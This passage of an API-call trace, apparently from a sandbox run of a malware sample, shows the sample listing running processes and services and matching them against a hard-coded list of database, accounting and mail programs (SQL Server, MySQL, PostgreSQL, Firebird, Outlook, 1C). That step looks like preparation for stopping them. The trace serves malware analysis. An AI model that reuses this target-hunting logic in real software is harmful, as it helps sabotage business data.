lpString2="csrss.exe") returned 1 [0154.164] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0154.164] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0154.164] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0154.164] Process32NextW (in: hSnapshot=0x1f8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0154.165] lstrlenW (lpString="winlogon.exe") returned 12 [0154.165] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0154.165] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0154.165] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0154.165] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0154.165] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1 [0154.165] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1 [0154.165] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1 [0154.165] Process32NextW (in: hSnapshot=0x1f8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0154.165] lstrlenW (lpString="services.exe") returned 12 [0154.165] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1 [0154.165] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1 [0154.165] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1 [0154.165] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1 [0154.165] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1 [0154.165] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1 [0154.165] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1 [0154.165] Process32NextW (in: hSnapshot=0x1f8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0154.166] lstrlenW (lpString="lsass.exe") returned 9 [0154.166] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1 [0154.166] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1 [0154.166] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1 [0154.166] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1 [0154.166] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1 [0154.166] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1 [0154.166] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1 [0154.166] Process32NextW (in: hSnapshot=0x1f8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0154.166] lstrlenW (lpString="lsm.exe") returned 7 [0154.166] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1 [0154.166] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1 [0154.166] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1 [0154.166] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1 [0154.166] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1 [0154.166] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1 [0154.166] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1 [0154.166] Process32NextW (in: hSnapshot=0x1f8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0154.167] lstrlenW (lpString="svchost.exe") returned 11 [0154.167] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0154.167] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0154.167] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0154.167] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0154.167] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0154.167] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0154.167] Process32NextW (in: hSnapshot=0x1f8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0154.167] lstrlenW (lpString="svchost.exe") returned 11 [0154.167] Process32NextW (in: hSnapshot=0x1f8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0154.168] lstrlenW (lpString="svchost.exe") returned 11 [0154.168] Process32NextW (in: hSnapshot=0x1f8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0154.168] lstrlenW (lpString="svchost.exe") returned 11 [0154.168] Process32NextW (in: hSnapshot=0x1f8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0154.168] lstrlenW (lpString="svchost.exe") returned 11 [0154.168] Process32NextW (in: hSnapshot=0x1f8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0154.169] lstrlenW (lpString="audiodg.exe") returned 11 [0154.169] Process32NextW (in: hSnapshot=0x1f8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0154.169] lstrlenW (lpString="svchost.exe") returned 11 [0154.169] Process32NextW (in: hSnapshot=0x1f8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0154.169] lstrlenW (lpString="explorer.exe") returned 12 [0154.169] Process32NextW (in: hSnapshot=0x1f8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0154.170] lstrlenW (lpString="dwm.exe") returned 7 [0154.170] Process32NextW (in: hSnapshot=0x1f8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0154.170] lstrlenW (lpString="svchost.exe") returned 11 [0154.170] Process32NextW (in: hSnapshot=0x1f8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x138, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe")) returned 1 [0154.170] lstrlenW (lpString="dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe") returned 58 [0154.170] Process32NextW (in: hSnapshot=0x1f8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x514, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0154.171] lstrlenW (lpString="spoolsv.exe") returned 11 [0154.171] Process32NextW (in: hSnapshot=0x1f8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0154.171] lstrlenW (lpString="reader_sl.exe") returned 13 [0154.171] Process32NextW (in: hSnapshot=0x1f8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0154.171] lstrlenW (lpString="svchost.exe") returned 11 [0154.171] Process32NextW (in: hSnapshot=0x1f8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0154.172] lstrlenW (lpString="taskhost.exe") returned 12 [0154.172] Process32NextW (in: hSnapshot=0x1f8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 0 [0154.172] CloseHandle (hObject=0x1f8) returned 1 [0154.172] Sleep (dwMilliseconds=0x1f4) [0154.980] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x39c0b50 [0155.220] EnumServicesStatusExW (in: hSCManager=0x39c0b50, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 0 [0155.230] GetLastError () returned 0xea [0155.230] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xf0a) returned 0x428bbd0 [0155.230] EnumServicesStatusExW (in: hSCManager=0x39c0b50, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x428bbd0, cbBufSize=0xf0a, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x428bbd0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 1 [0155.234] CloseServiceHandle (hSCObject=0x39c0b50) returned 1 [0155.236] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0155.236] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0155.236] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0155.237] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0155.237] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0155.237] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0155.237] lstrlenW (lpString="AudioSrv") returned 8 [0155.237] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0155.237] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0155.237] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0155.237] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0155.237] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0155.237] lstrlenW (lpString="BFE") returned 3 [0155.237] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0155.237] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0155.237] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0155.237] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0155.237] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0155.237] lstrlenW (lpString="CryptSvc") returned 8 [0155.237] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0155.237] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0155.237] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0155.237] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0155.237] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0155.237] lstrlenW (lpString="CscService") returned 10 [0155.237] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0155.237] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0155.237] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0155.237] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0155.238] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0155.238] lstrlenW (lpString="DcomLaunch") returned 10 [0155.238] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0155.238] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0155.238] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0155.238] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0155.238] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0155.238] lstrlenW (lpString="Dhcp") returned 4 [0155.238] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0155.238] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0155.238] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0155.238] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0155.238] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0155.238] lstrlenW (lpString="Dnscache") returned 8 [0155.238] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0155.238] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0155.238] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0155.238] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0155.238] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0155.238] lstrlenW (lpString="DPS") returned 3 [0155.238] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0155.238] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0155.238] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0155.238] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0155.238] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0155.238] lstrlenW (lpString="eventlog") returned 8 [0155.238] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0155.238] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0155.238] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0155.238] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0155.238] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0155.238] lstrlenW (lpString="EventSystem") returned 11 [0155.238] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0155.238] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0155.238] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0155.238] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0155.238] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0155.239] lstrlenW (lpString="gpsvc") returned 5 [0155.239] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0155.239] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0155.239] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0155.239] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0155.239] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0155.239] lstrlenW (lpString="iphlpsvc") returned 8 [0155.239] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0155.239] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0155.239] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0155.239] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0155.239] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0155.239] lstrlenW (lpString="LanmanServer") returned 12 [0155.239] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0155.239] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0155.239] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0155.239] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0155.239] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0155.239] lstrlenW (lpString="LanmanWorkstation") returned 17 [0155.239] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0155.239] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0155.239] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0155.239] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0155.239] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0155.239] lstrlenW (lpString="lmhosts") returned 7 [0155.239] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0155.239] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0155.239] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0155.239] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0155.239] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0155.239] lstrlenW (lpString="MMCSS") returned 5 [0155.239] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0155.239] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0155.239] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0155.239] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0155.239] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0155.240] lstrlenW (lpString="MpsSvc") returned 6 [0155.240] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0155.240] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0155.240] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0155.240] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0155.240] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0155.240] lstrlenW (lpString="NlaSvc") returned 6 [0155.240] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0155.240] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0155.240] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0155.240] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0155.240] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0155.240] lstrlenW (lpString="nsi") returned 3 [0155.240] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0155.240] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0155.240] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0155.240] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0155.240] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0155.240] lstrlenW (lpString="PcaSvc") returned 6 [0155.240] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0155.240] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0155.240] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0155.240] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0155.240] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0155.240] lstrlenW (lpString="PlugPlay") returned 8 [0155.240] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0155.240] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0155.240] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0155.240] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0155.240] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0155.240] lstrlenW (lpString="Power") returned 5 [0155.240] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0155.240] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0155.240] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0155.240] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0155.240] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0155.240] lstrlenW (lpString="ProfSvc") returned 7 [0155.241] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0155.241] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0155.241] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0155.241] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0155.241] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0155.241] lstrlenW (lpString="RpcEptMapper") returned 12 [0155.241] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0155.241] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0155.241] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0155.241] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0155.241] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0155.241] lstrlenW (lpString="RpcSs") returned 5 [0155.241] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0155.241] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0155.241] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0155.241] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0155.241] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0155.241] lstrlenW (lpString="SamSs") returned 5 [0155.241] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0155.241] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0155.241] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0155.241] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0155.241] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0155.241] lstrlenW (lpString="Schedule") returned 8 [0155.241] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0155.241] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0155.241] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0155.241] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0155.241] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0155.241] lstrlenW (lpString="SENS") returned 4 [0155.241] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0155.241] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0155.241] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0155.241] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0155.241] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0155.241] lstrlenW (lpString="ShellHWDetection") returned 16 [0155.242] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0155.242] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0155.242] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0155.242] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0155.242] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0155.242] lstrlenW (lpString="Spooler") returned 7 [0155.242] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0155.242] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0155.242] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0155.242] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0155.242] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0155.242] lstrlenW (lpString="SysMain") returned 7 [0155.242] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0155.242] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0155.242] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0155.242] lstrcmpiW 